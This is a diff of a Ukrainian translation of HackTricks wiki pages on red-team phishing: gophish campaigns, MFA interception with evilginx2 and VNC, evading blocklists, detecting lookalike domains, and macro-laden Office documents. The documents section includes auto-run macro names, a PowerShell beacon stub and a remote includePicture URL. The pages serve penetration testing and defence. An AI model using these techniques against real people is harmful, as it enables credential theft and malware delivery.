Зазвичай вам потрібно буде змінити HTML код сторінки та провести деякі тести локально (можливо, використовуючи якийсь Apache сервер) **доки вам не сподобаються результати.** Потім напишіть цей HTML код у вікні.\
Зверніть увагу, що якщо вам потрібно **використовувати деякі статичні ресурси** для HTML (можливо, деякі CSS та JS сторінки), ви можете зберегти їх у _**/opt/gophish/static/endpoint**_ і потім отримати до них доступ з _**/static/\<filename>**_
{% endhint %}
{% hint style="info" %}
Щодо перенаправлення ви можете **перенаправити користувачів на легітимну головну веб-сторінку** жертви або перенаправити їх на _/static/migration.html_ наприклад, показати якусь **крутящуся колесо** ([**https://loading.io/**](https://loading.io)) протягом 5 секунд, а потім вказати, що процес був успішним.
Для перенаправлення ви можете **перенаправити користувачів на легітимну основну веб-сторінку** жертви або перенаправити їх на _/static/migration.html_, наприклад, поставити **крутильне колесо** ([**https://loading.io/**](https://loading.io)**) на 5 секунд, а потім вказати, що процес був успішним**.
{% endhint %}
### Користувачі та Групи
### Користувачі та групи
* Встановіть ім'я
* **Імпортуйте дані** (зверніть увагу, що для використання шаблону для прикладу вам потрібно прізвище, ім'я та електронну адресу кожного користувача)
* **Імпортуйте дані** (зверніть увагу, що для використання шаблону для прикладу вам потрібні ім'я, прізвище та електронна адреса кожного користувача)
![](<../../.gitbook/assets/image (395).png>)
![](<../../.gitbook/assets/image (163).png>)
### Кампанія
Нарешті, створіть кампанію, вибравши ім'я, шаблон електронної пошти, посадову сторінку, URL, профіль відправлення та групу. Зверніть увагу, що URL буде посиланням, відправленим жертвам
Нарешті, створіть кампанію, вибравши ім'я, шаблон електронного листа, цільову сторінку, URL, профіль відправлення та групу. Зверніть увагу, що URL буде посиланням, надісланим жертвам.
Зауважте, що **Профіль відправлення дозволяє відправити тестовий електронний лист, щоб побачити, як буде виглядати кінцевий лист з фішингом**:
Зверніть увагу, що **Профіль відправлення дозволяє надіслати тестовий електронний лист, щоб побачити, як виглядатиме фінальний фішинговий електронний лист**:
![](<../../.gitbook/assets/image (396).png>)
![](<../../.gitbook/assets/image (192).png>)
{% hint style="info" %}
Я рекомендую **відправляти тестові листи на адреси 10min**, щоб уникнути блокування під час тестування.
Я б рекомендував **надсилати тестові електронні листи на адреси 10min mails**, щоб уникнути потрапляння в чорний список під час тестування.
{% endhint %}
Як тільки все готово, просто запустіть кампанію!
Коли все готово, просто запустіть кампанію!
## Клонування веб-сайту
Якщо з якоїсь причини вам потрібно клонувати веб-сайт, перевірте наступну сторінку:
Якщо з якоїсь причини ви хочете клонувати веб-сайт, перегляньте наступну сторінку:
{% content-ref url="clone-a-website.md" %}
[clone-a-website.md](clone-a-website.md)
{% endcontent-ref %}
## Документи та файли з задніми дверима
## Документи та файли з бекдорами
У деяких оцінках фішингу (головним чином для Червоних Команд) ви також захочете **надіслати файли, що містять якусь форму задніх дверей** (можливо, C2 або просто щось, що спричинить аутентифікацію).\
У деяких фішингових оцінках (в основному для Red Teams) ви також захочете **надіслати файли, що містять якийсь вид бекдору** (можливо, C2 або просто щось, що викликає аутентифікацію).\
Перегляньте наступну сторінку для деяких прикладів:
{% content-ref url="phishing-documents.md" %}
@ -418,38 +419,38 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
## Фішинг MFA
### Через Проксі MitM
### Через Proxy MitM
Попередній атака досить хитра, оскільки ви підробляєте реальний веб-сайт та збираєте інформацію, введену користувачем. Незважаючи на це, якщо користувач не ввів правильний пароль або якщо застосунок, який ви підробили, налаштований з двофакторною аутентифікацією, **ця інформація не дозволить вам підробити користувача**.
Попередня атака досить хитра, оскільки ви підробляєте реальний веб-сайт і збираєте інформацію, введену користувачем. На жаль, якщо користувач не ввів правильний пароль або якщо програма, яку ви підробили, налаштована на 2FA, **ця інформація не дозволить вам видавати себе за обманутого користувача**.
Тут корисні інструменти, такі як [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) та [**muraena**](https://github.com/muraenateam/muraena). Цей інструмент дозволить вам створити атаку типу MitM. Фактично, атаки працюють наступним чином:
Ось де корисні інструменти, такі як [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) та [**muraena**](https://github.com/muraenateam/muraena). Цей інструмент дозволить вам згенерувати атаку типу MitM. В основному, атака працює наступним чином:
1. Ви **підробляєте форму входу** реальної веб-сторінки.
2. Користувач **надсилає** свої **відомості для входу** на вашу фальшиву сторінку, а інструмент надсилає їх на реальну веб-сторінку, **перевіряючи, чи працюють відомості для входу**.
3. Якщо обліковий запис налаштований з **двофакторною аутентифікацією**, сторінка MitM попросить про неї, і як тільки **користувач введе** її, інструмент надішле її на реальну веб-сторінку.
4. Як тільки користувач автентифікується, ви (як атакуючий) **захопите відомості для входу, двофакторну аутентифікацію, куки та будь-яку інформацію** з кожної взаємодії, поки інструмент виконує атаку MitM.
2. Користувач **надсилає** свої **облікові дані** на вашу підроблену сторінку, а інструмент надсилає їх на реальну веб-сторінку, **перевіряючи, чи працюють облікові дані**.
3. Якщо обліковий запис налаштований на **2FA**, сторінка MitM запитає про це, і як тільки **користувач введе** його, інструмент надішле його на реальну веб-сторінку.
4. Як тільки користувач аутентифікований, ви (як зловмисник) будете мати **захоплені облікові дані, 2FA, куки та будь-яку інформацію** про кожну взаємодію, поки інструмент виконує MitM.
### Через VNC
Що, якщо замість **направлення жертви на зловмисну сторінку** з таким самим виглядом, як оригінальна, ви направите його на **сесію VNC з браузером, підключеним до реальної веб-сторінки**? Ви зможете бачити, що він робить, вкрасти пароль, використану двофакторну аутентифікацію, куки...\
Ви можете це зробити за допомогою [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
Що, якщо замість **відправлення жертви на шкідливу сторінку** з таким же виглядом, як оригінальна, ви відправите його на **сесію VNC з браузером, підключеним до реальної веб-сторінки**? Ви зможете бачити, що він робить, вкрасти пароль, використовувану MFA, куки...\
Ви можете зробити це за допомогою [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Виявлення виявлення
Очевидно, один з найкращих способів дізнатися, чи вас викрили, це **пошук вашого домену в чорних списках**. Якщо він з'являється в списку, то якимось чином ваш домен був виявлений як підозрілий.\
Очевидно, один з найкращих способів дізнатися, чи вас викрили, це **перевірити ваш домен у чорних списках**. Якщо він з'являється в списку, ваш домен був виявлений як підозрілий.\
Один простий спосіб перевірити, чи ваш домен з'являється в будь-якому чорному списку, це використовувати [https://malwareworld.com/](https://malwareworld.com)
Однак є інші способи дізнатися, чи жертва **активно шукає підозріву фішингову діяльність в мережі**, як пояснено в:
Однак є й інші способи дізнатися, чи жертва **активно шукає підозрілу фішингову активність у мережі**, як пояснено в:
{% content-ref url="detecting-phising.md" %}
[detecting-phising.md](detecting-phising.md)
{% endcontent-ref %}
Ви можете **купити домен з дуже схожою назвою** на домен жертви **і/або згенерувати сертифікат** для **піддомену** домена, яким ви керуєте **із ключовим словом** домена жертви. Якщо **жертва** взаємодіє з ними **через DNS або HTTP**, ви будете знати, що **він активно шукає** підозрілі домени, і вам потрібно буде діяти дуже обережно.
Ви можете **придбати домен з дуже схожим ім'ям** на домен жертви **та/або згенерувати сертифікат** для **піддомену** домену, контрольованого вами, **який містить** **ключове слово** домену жертви. Якщо **жертва** виконає будь-який вид **DNS або HTTP взаємодії** з ними, ви дізнаєтеся, що **він активно шукає** підозрілі домени, і вам потрібно буде бути дуже обережним.
### Оцініть фішинг
### Оцінка фішингу
Використовуйте [**Phishious** ](https://github.com/Rices/Phishious), щоб оцінити, чи вашу електронну пошту потрапить у спам або вона буде заблокована чи успішно доставлена.
Використовуйте [**Phishious** ](https://github.com/Rices/Phishious), щоб оцінити, чи ваш електронний лист потрапить у папку спаму або буде заблокований чи успішним.
## Посилання
@ -457,3 +458,18 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
* [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/)
* [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
* [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримка HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте за нами в** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,78 +1,95 @@
# Виявлення фішингу
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримка HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
## Вступ
Для виявлення спроби фішингу важливо **розуміти техніки фішингу, які використовуються в наш час**. На батьківській сторінці цього поста ви можете знайти цю інформацію, тому якщо ви не знаєте, які техніки використовуються сьогодні, я рекомендую вам перейти на батьківську сторінку і прочитати принаймні цей розділ.
Щоб виявити спробу фішингу, важливо **зрозуміти техніки фішингу, які використовуються сьогодні**. На батьківській сторінці цього посту ви можете знайти цю інформацію, тому якщо ви не знаєте, які техніки використовуються сьогодні, я рекомендую вам перейти на батьківську сторінку та прочитати принаймні цей розділ.
Цей пост базується на ідеї, що **зловмисники спробують якимось чином імітувати або використовувати доменне ім'я жертви**. Якщо ваш домен називається `example.com`, а вас підставляють, використовуючи зовсім інше доменне ім'я, наприклад, `youwonthelottery.com`, ці техніки не виявлять це.
Цей пост базується на ідеї, що **зловмисники намагатимуться якимось чином імітувати або використовувати доменне ім'я жертви**. Якщо ваш домен називається `example.com`, а вас фішать, використовуючи зовсім інше доменне ім'я, наприклад `youwonthelottery.com`, ці техніки не виявлять це.
## Варіації доменних імен
Досить **легко** **виявити** ті **спроби фішингу**, які використовують **схоже доменне** ім'я в листі.\
Достатньо **створити список найбільш ймовірних фішингових імен**, які може використовувати зловмисник, і **перевірити**, чи вони **зареєстровані**, або просто перевірити, чи є **IP-адреса**, яка їх використовує.
Досить **легко** **виявити** ті **спроби фішингу**, які використовують **схоже доменне** ім'я в електронному листі.\
Досить **згенерувати список найбільш ймовірних фішингових імен**, які може використовувати зловмисник, і **перевірити**, чи вони **зареєстровані** або просто перевірити, чи є якийсь **IP**, що його використовує.
### Пошук підозрілих доменів
### Знаходження підозрілих доменів
Для цієї цілі ви можете використовувати будь-які з наступних інструментів. Зверніть увагу, що ці інструменти також автоматично виконуватимуть запити DNS, щоб перевірити, чи домен має призначений для нього IP-адресу:
Для цього ви можете використовувати будь-який з наступних інструментів. Зверніть увагу, що ці інструменти також автоматично виконують DNS-запити, щоб перевірити, чи має домен будь-який призначений йому IP:
* [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
### Бітовий зсув
### Bitflipping
**Ви можете знайти короткий опис цієї техніки на батьківській сторінці. Або прочитайте оригінальне дослідження за посиланням [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)**
**Ви можете знайти коротке пояснення цієї техніки на батьківській сторінці. Або прочитайте оригінальне дослідження в** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
Наприклад, зміна 1 біта в домені microsoft.com може перетворити його на _windnws.com._\
**Зловмисники можуть зареєструвати якомога більше доменів з бітовим зсувом, пов'язаних з жертвою, щоб перенаправити законних користувачів на свою інфраструктуру**.
**Зловмисники можуть зареєструвати якомога більше доменів з битфліпом, пов'язаних з жертвою, щоб перенаправити легітимних користувачів на свою інфраструктуру**.
**Всі можливі доменні імена з бітовим зсувом також слід моніторити.**
**Всі можливі доменні імена з битфліпом також повинні бути під наглядом.**
### Основні перевірки
Після того, як у вас є список потенційно підозрілих доменних імен, ви повинні **перевірити** їх (головним чином порти HTTP і HTTPS), щоб **переконатися, чи вони використовують якусь форму входу, схожу** на ту, що використовується на домені жертви.\
Ви також можете перевірити порт 3333, щоб переконатися, чи він відкритий і запущений екземпляр `gophish`.\
Також цікаво знати, **наскільки старий кожен виявлений підозрілий домен**, чим молодший він, тим більше ризику.\
Ви також можете отримати **знімки екрану** веб-сторінки з HTTP і/або HTTPS, щоб переконатися, чи вона виглядає підозріло, і в такому випадку **зайти на неї, щоб докладніше розглянути**.
Якщо у вас є список потенційно підозрілих доменних імен, ви повинні **перевірити** їх (в основному порти HTTP та HTTPS), щоб **переконатися, чи використовують вони якусь форму входу, схожу на домен жертви**.\
Ви також можете перевірити порт 3333, щоб дізнатися, чи він відкритий і працює екземпляр `gophish`.\
Цікаво також знати, **наскільки старий кожен виявлений підозрілий домен**, чим молодший, тим ризикованіший він.\
Ви також можете отримати **скріншоти** підозрілої веб-сторінки HTTP та/або HTTPS, щоб перевірити, чи вона підозріла, і в такому випадку **зайти на неї, щоб детальніше розглянути**.
### Розширені перевірки
Якщо ви хочете піти далі, я б рекомендував вам **моніторити ці підозрілі домени та шукати ще** час від часу (кожен день? це займає лише кілька секунд/хвилин). Ви також повинні **перевірити** відкриті **порти** пов'язаних IP-адрес та **шукати екземпляри `gophish` або подібні інструменти** (так, зловмисники також допускають помилки) та **моніторити HTTP та HTTPS веб-сторінки підозрілих доменів та піддоменів**, щоб переконатися, чи вони скопіювали яку-небудь форму входу з веб-сторінок жертви.\
Для **автоматизації цього** я б рекомендував мати список форм входу доменів жертви, просканувати підозрілі веб-сторінки та порівняти кожну знайдену форму входу в підозрілих доменах з кожною формою входу домену жертви, використовуючи щось на кшталт `ssdeep`.\
Якщо ви знайшли форми входу на підозрілих доменах, ви можете спробувати **надіслати недійсні облікові дані** та **перевірити, чи вас перенаправляє на домен жертви**.
Якщо ви хочете зробити ще один крок вперед, я б рекомендував вам **моніторити ці підозрілі домени та час від часу шукати нові** (кожен день? Це займає лише кілька секунд/хвилин). Ви також повинні **перевірити** відкриті **порти** пов'язаних IP та **шукати екземпляри `gophish` або подібних інструментів** (так, зловмисники також роблять помилки) і **моніторити веб-сторінки HTTP та HTTPS підозрілих доменів і піддоменів**, щоб дізнатися, чи скопіювали вони якусь форму входу з веб-сторінок жертви.\
Щоб **автоматизувати це**, я б рекомендував мати список форм входу доменів жертви, обробляти підозрілі веб-сторінки та порівнювати кожну знайдену форму входу в підозрілих доменах з кожною формою входу домену жертви, використовуючи щось на кшталт `ssdeep`.\
Якщо ви виявили форми входу підозрілих доменів, ви можете спробувати **надіслати сміттєві облікові дані** та **перевірити, чи перенаправляє вас на домен жертви**.
## Доменні імена з використанням ключових слів
Батьківська сторінка також згадує техніку варіації доменного імені, яка полягає в тому, що **доменне ім'я жертви поміщається всередині більшого домену** (наприклад, paypal-financial.com для paypal.com).
Батьківська сторінка також згадує техніку варіації доменних імен, яка полягає в тому, щоб помістити **доменне ім'я жертви всередину більшого домену** (наприклад, paypal-financial.com для paypal.com).
### Прозорість сертифікатів
Не можна використовувати попередній підхід "Брутфорс", але насправді **можна виявити такі спроби фішингу** також завдяки прозорості сертифікатів. Кожного разу, коли сертифікат виданий ЦС, деталі стають відкритими. Це означає, що, читаючи прозорість сертифікатів або навіть моніторячи її, **можна знайти домени, які використовують ключове слово у своєму імені** Наприклад, якщо зловмисник генерує сертифікат для [https://paypal-financial.com](https://paypal-financial.com), переглядаючи сертифікат, можна знайти ключове слово "paypal" і знати, що використовується підозрілий електронний лист.
Неможливо застосувати попередній підхід "Brute-Force", але насправді **можливо виявити такі спроби фішингу** також завдяки прозорості сертифікатів. Кожного разу, коли сертифікат видається ЦС, деталі стають публічними. Це означає, що, читаючи прозорість сертифікатів або навіть моніторячи її, **можливо знайти домени, які використовують ключове слово в своєму імені**. Наприклад, якщо зловмисник генерує сертифікат для [https://paypal-financial.com](https://paypal-financial.com), переглядаючи сертифікат, можна знайти ключове слово "paypal" і дізнатися, що використовується підозрілий електронний лист.
Пост [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) пропонує використовувати Censys для пошуку сертифікатів, які впливають на певне ключове слово та фільтрувати за датою (лише "нові" сертифікати) та за видавцем ЦС "Let's Encrypt":
Пост [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) пропонує використовувати Censys для пошуку сертифікатів, що стосуються конкретного ключового слова, і фільтрувати за датою (тільки "нові" сертифікати) та за видавцем ЦС "Let's Encrypt":
![https://0xpatrik.com/content/images/2018/07/cert_listing.png](<../../.gitbook/assets/image (390).png>)
![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>)
Однак ви можете зробити "теж саме" за допомогою безкоштовного веб-сайту [**crt.sh**](https://crt.sh). Ви можете **шукати за ключовим словом** та **фільтрувати** результати **за датою та ЦС**, якщо бажаєте.
Однак ви можете зробити "те ж саме", використовуючи безкоштовний веб-сайт [**crt.sh**](https://crt.sh). Ви можете **шукати за ключовим словом** та **фільтрувати** результати **за датою та ЦС**, якщо бажаєте.
![](<../../.gitbook/assets/image (391).png>)
![](<../../.gitbook/assets/image (519).png>)
Використовуючи цей варіант, ви навіть можете використовувати поле Matching Identities, щоб переконатися, чи співпадає яка-небудь ідентичність з реальним доменом з будь-якими підозрілими доменами (зверніть увагу, що підозрілий домен може бути помилковим позитивом).
Використовуючи цю останню опцію, ви навіть можете використовувати поле Matching Identities, щоб перевірити, чи збігається якась особа з реального домену з будь-яким з підозрілих доменів (зверніть увагу, що підозрілий домен може бути хибнопозитивним).
**Ще одна альтернатива** - це фантастичний проект під назвою [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream надає потік нових сертифікатів у реальному часі, який ви можете використовувати для виявлення вказаних ключових слів у (майже) реальному часі. Насправді існує проект під назвою [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher), який робить саме це.
**Інша альтернатива** - це фантастичний проект під назвою [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream надає потік нових створених сертифікатів, які можна використовувати для виявлення вказаних ключових слів в (приблизно) реальному часі. Фактично, існує проект під назвою [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher), який робить саме це.
### **Нові домени**
**Остання альтернатива** - зібрати список **недавно зареєстрованих доменів** для деяких TLD ([Whoxy](https://www.whoxy.com/newly-registered-domains/) надає такий сервіс) і **перевірити ключові слова в цих доменах**. Однак довгі домени зазвичай використовують один або кілька піддоменів, тому ключове слово не з'явиться всередині FLD, і ви не зможете знайти фішинговий піддомен.
**Остання альтернатива** - зібрати список **новостворених доменів** для деяких TLD ([Whoxy](https://www.whoxy.com/newly-registered-domains/) надає таку послугу) та **перевірити ключові слова в цих доменах**. Однак довгі домени зазвичай використовують один або кілька піддоменів, тому ключове слово не з'явиться всередині FLD, і ви не зможете знайти фішинговий піддомен.
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримка HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,45 +1,48 @@
# Файли та документи для рибалки
# Phishing Files & Documents
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпецівській компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до [репозиторію hacktricks](https://github.com/carlospolop/hacktricks) та [репозиторію hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Офісні документи
## Office Documents
Microsoft Word виконує перевірку даних файлу перед відкриттям файлу. Перевірка даних виконується у формі ідентифікації структури даних, відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає помилка, аналізований файл не буде відкрито.
Microsoft Word виконує валідацію даних файлу перед його відкриттям. Валідація даних виконується у формі ідентифікації структури даних відповідно до стандарту OfficeOpenXML. Якщо під час ідентифікації структури даних виникає помилка, файл, що аналізується, не буде відкрито.
Зазвичай файли Word, що містять макроси, мають розширення `.docm`. Однак можливо перейменувати файл, змінивши розширення файлу, і все ще зберігати їх можливості виконання макросів.\
Наприклад, файл RTF не підтримує макроси за замовчуванням, але файл DOCM, перейменований на RTF, буде оброблений Microsoft Word і матиме можливість виконання макросів.\
Ті самі внутрішності та механізми застосовуються до всього програмного забезпечення пакету Microsoft Office (Excel, PowerPoint тощо).
Зазвичай файли Word, що містять макроси, використовують розширення `.docm`. Однак можливо перейменувати файл, змінивши розширення файлу, і все ще зберегти їх можливості виконання макросів.\
Наприклад, файл RTF за замовчуванням не підтримує макроси, але файл DOCM, перейменований в RTF, буде оброблений Microsoft Word і зможе виконувати макроси.\
Ті ж внутрішні механізми застосовуються до всього програмного забезпечення Microsoft Office Suite (Excel, PowerPoint тощо).
Ви можете скористатися наступною командою, щоб перевірити, які розширення будуть виконуватися деякими програмами Office:
Ви можете використовувати наступну команду, щоб перевірити, які розширення будуть виконані деякими програмами Office:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX файли, які посилаються на віддалений шаблон (Файл Опції Додатки Керування: Шаблони Перейти), що містить макроси, можуть також "виконувати" макроси.
DOCX файли, що посилаються на віддалений шаблон (Файл Параметри Додатки Керувати: Шаблони Перейти), які містять макроси, також можуть "виконувати" макроси.
### Завантаження зовнішнього зображення
### Завантаження зовнішніх зображень
Перейдіть до: _Вставити --> Швидкі частини --> Поле_\
_**Категорії**: Посилання та посилання, **Імена полів**: includePicture, та **Ім'я файлу або URL**:_ http://\<ip>/whatever
Перейдіть до: _Вставка --> Швидкі елементи --> Поле_\
_**Категорії**: Посилання та довідки, **Імена полів**: includePicture, та **Ім'я файлу або URL**:_ http://\<ip>/whatever
![](<../../.gitbook/assets/image (316).png>)
![](<../../.gitbook/assets/image (155).png>)
### Задній вхід макросів
### Макроси Бекдор
Можна використовувати макроси для виконання довільного коду з документа.
Можливо використовувати макроси для виконання довільного коду з документа.
#### Функції автозавантаження
#### Автозавантажувані функції
Чим більш поширені вони є, тим ймовірніше, що Антивірус виявить їх.
Чим поширеніші вони, тим більше ймовірність, що антивірус їх виявить.
* AutoOpen()
* Document\_Open()
@ -76,12 +79,12 @@ proc.Create "powershell <beacon line generated>
```
#### Вручну видалити метадані
Перейдіть до **Файл > Інформація > Перевірка документа > Перевірка документа**, що викличе Документ-інспектор. Натисніть **Перевірити**, а потім **Видалити все** поряд з **Властивості документа та особиста інформація**.
Перейдіть до **File > Info > Inspect Document > Inspect Document**, що відкриє Document Inspector. Натисніть **Inspect**, а потім **Remove All** поруч із **Document Properties and Personal Information**.
#### Розширення документа
Після завершення виберіть розкривний список **Зберегти як тип**, змініть формат з **`.docx`** на **Word 97-2003 `.doc`**.\
Робіть це, оскільки **неможливо зберегти макроси всередині `.docx`** і є **стігма** навколо розширення з макросами **`.docm`** (наприклад, значок мініатюри має велике `!` і деякі веб-портали/поштові шлюзи блокують їх повністю). Тому це **спадкове розширення `.doc` є найкращим компромісом**.
Коли закінчите, виберіть випадаюче меню **Save as type**, змініть формат з **`.docx`** на **Word 97-2003 `.doc`**.\
Зробіть це, тому що ви **не можете зберегти макроси всередині `.docx`** і є **стигма** **навколо** розширення, що підтримує макроси **`.docm`** (наприклад, значок ескізу має величезний `!`, і деякі веб/електронні шлюзи блокують їх повністю). Тому це **спадкове розширення `.doc` є найкращим компромісом**.
#### Генератори шкідливих макросів
@ -89,11 +92,11 @@ proc.Create "powershell <beacon line generated>
* [**macphish**](https://github.com/cldrn/macphish)
* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## Файли HTA
## HTA файли
HTA - це програма Windows, яка **поєднує HTML та мови сценаріїв (такі як VBScript та JScript)**. Вона генерує користувацький інтерфейс та виконується як "повністю довірена" програма, без обмежень моделі безпеки браузера.
